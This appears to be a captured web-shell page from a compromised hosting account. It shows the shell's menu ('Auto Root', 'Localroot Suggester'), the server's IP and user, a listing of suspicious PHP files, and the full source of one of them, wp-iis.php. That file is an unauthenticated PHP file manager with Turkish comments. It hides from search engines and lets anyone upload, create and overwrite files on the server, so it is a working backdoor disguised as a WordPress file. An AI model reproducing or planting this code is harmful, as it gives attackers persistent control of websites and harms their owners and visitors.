Linux premium61.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
Server IP : 185.61.154.53 & Your IP : 216.73.217.92
Domains :
Cant Read [ /etc/named.conf ]
User : vdeshvpx
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
vdeshvpx /
injenai.com /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2026-01-14 00:30
cgi-bin
[ DIR ]
drwxr-xr-x
2026-04-10 19:34
.htaccess
197
B
-r--r--r--
2026-04-08 06:51
admin.php
846
B
-rw-r--r--
2026-04-08 03:03
avv.gz
22.59
KB
-rw-r--r--
2026-03-30 07:09
cdn3.php
134
B
-rw-r--r--
2026-04-01 01:07
current.php
22
B
-rw-r--r--
2026-04-01 01:39
wp-iis.php
5.22
KB
-rw-r--r--
2026-03-09 02:09
Save
Rename
<?php /** * Gelişmiş PHP Dosya Yöneticisi * Güvenlik ve Modernizasyon Güncellemesi */ header("X-Robots-Tag: noindex, nofollow"); session_start(); // Dosya yollarını güvenli hale getiren sınıf yapısı (Modern yaklaşım) class FileManager { private $root; public function __construct($path = null) { $this->root = $this->resolvePath($path ?: getcwd()); } private function resolvePath($path) { $real = realpath($path); return ($real && is_dir($real)) ? $real : getcwd(); } public function getRoot() { return $this->root; } // Dosya İşlemleri public function handleActions() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return; // Dosya Yükleme if (isset($_FILES['u_file'])) { move_uploaded_file($_FILES['u_file']['tmp_name'], $this->root . DIRECTORY_SEPARATOR . basename($_FILES['u_file']['name'])); } // Klasör Oluşturma if (!empty($_POST['new_folder'])) { $path = $this->root . DIRECTORY_SEPARATOR . basename($_POST['new_folder']); if (!file_exists($path)) mkdir($path); } // Dosya Oluşturma if (!empty($_POST['new_file'])) { $path = $this->root . DIRECTORY_SEPARATOR . basename($_POST['new_file']); if (!file_exists($path)) file_put_contents($path, ''); } // Dosya Düzenleme (Yeni Eklenen Özellik) if (isset($_POST['edit_file_path']) && isset($_POST['content'])) { $path = realpath($_POST['edit_file_path']); if ($path && strpos($path, $this->root) === 0) { file_put_contents($path, $_POST['content']); } } } } $fm = new FileManager($_GET['p'] ?? null); $fm->handleActions(); $currentRoot = $fm->getRoot(); // HTML Başlangıcı echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>Manager</title>"; echo "<style> body { font-family: 'Segoe UI', Tahoma, sans-serif; background: #ececec; padding: 20px; color: #333; } .container { background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width: 900px; margin: auto; } a { text-decoration: none; color: #2563eb; font-weight: bold; } ul { list-style: none; padding: 0; border: 1px solid #ddd; border-radius: 4px; } li { padding: 10px; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; } li:last-child { border-bottom: none; } li:hover { background: #f9f9f9; } input, textarea { width: 100%; padding: 8px; margin: 5px 0; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; } input[type=submit] { background: #2563eb; color: white; border: none; cursor: pointer; font-weight: bold; } input[type=submit]:hover { background: #1d4ed8; } .editor { background: #2d2d2d; color: #7cfc00; font-family: monospace; } </style></head><body>"; echo "<div class='container'>"; echo "<a href='?p=" . urlencode(dirname($currentRoot)) . "'>← Üst Dizine Çık</a>"; echo "<h3>Dizin: <span style='color:#666'>$currentRoot</span></h3>"; // Dosya Listeleme echo "<ul>"; $items = array_diff(scandir($currentRoot), array('.', '..')); foreach ($items as $item) { $fullPath = $currentRoot . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($fullPath); $escaped = htmlspecialchars($item); echo "<li>"; if ($isDir) { echo "<a href='?p=" . urlencode($fullPath) . "'>📁 $escaped</a>"; } else { echo "<span>📄 $escaped</span>"; echo "<a href='?p=" . urlencode($currentRoot) . "&edit=" . urlencode($fullPath) . "' style='font-size:12px; color:#d97706;'>[DÜZENLE]</a>"; } echo "</li>"; } echo "</ul><hr>"; // Editör Alanı (Eğer bir dosya seçilmişse görünür) if (isset($_GET['edit'])) { $editPath = realpath($_GET['edit']); if ($editPath && strpos($editPath, $currentRoot) === 0 && is_file($editPath)) { $content = htmlspecialchars(file_get_contents($editPath)); echo "<h3>Dosya Düzenleniyor: " . basename($editPath) . "</h3>"; echo "<form method='POST'> <input type='hidden' name='edit_file_path' value='".htmlspecialchars($editPath)."'> <textarea name='content' rows='15' class='editor'>$content</textarea> <input type='submit' value='Değişiklikleri Kaydet'> </form><br><hr>"; } } // İşlem Formları echo "<h3>Hızlı İşlemler</h3>"; echo "<div style='display: grid; grid-template-columns: 1fr 1fr 1fr; gap: 20px;'>"; echo "<form method='POST' enctype='multipart/form-data'> <strong>Dosya Yükle</strong> <input type='file' name='u_file' required> <input type='submit' value='Yükle'> </form>"; echo "<form method='POST'> <strong>Yeni Klasör</strong> <input type='text' name='new_folder' placeholder='Klasör adı' required> <input type='submit' value='Oluştur'> </form>"; echo "<form method='POST'> <strong>Yeni Dosya</strong> <input type='text' name='new_file' placeholder='Dosya adı' required> <input type='submit' value='Oluştur'> </form>"; echo "</div></div></body></html>";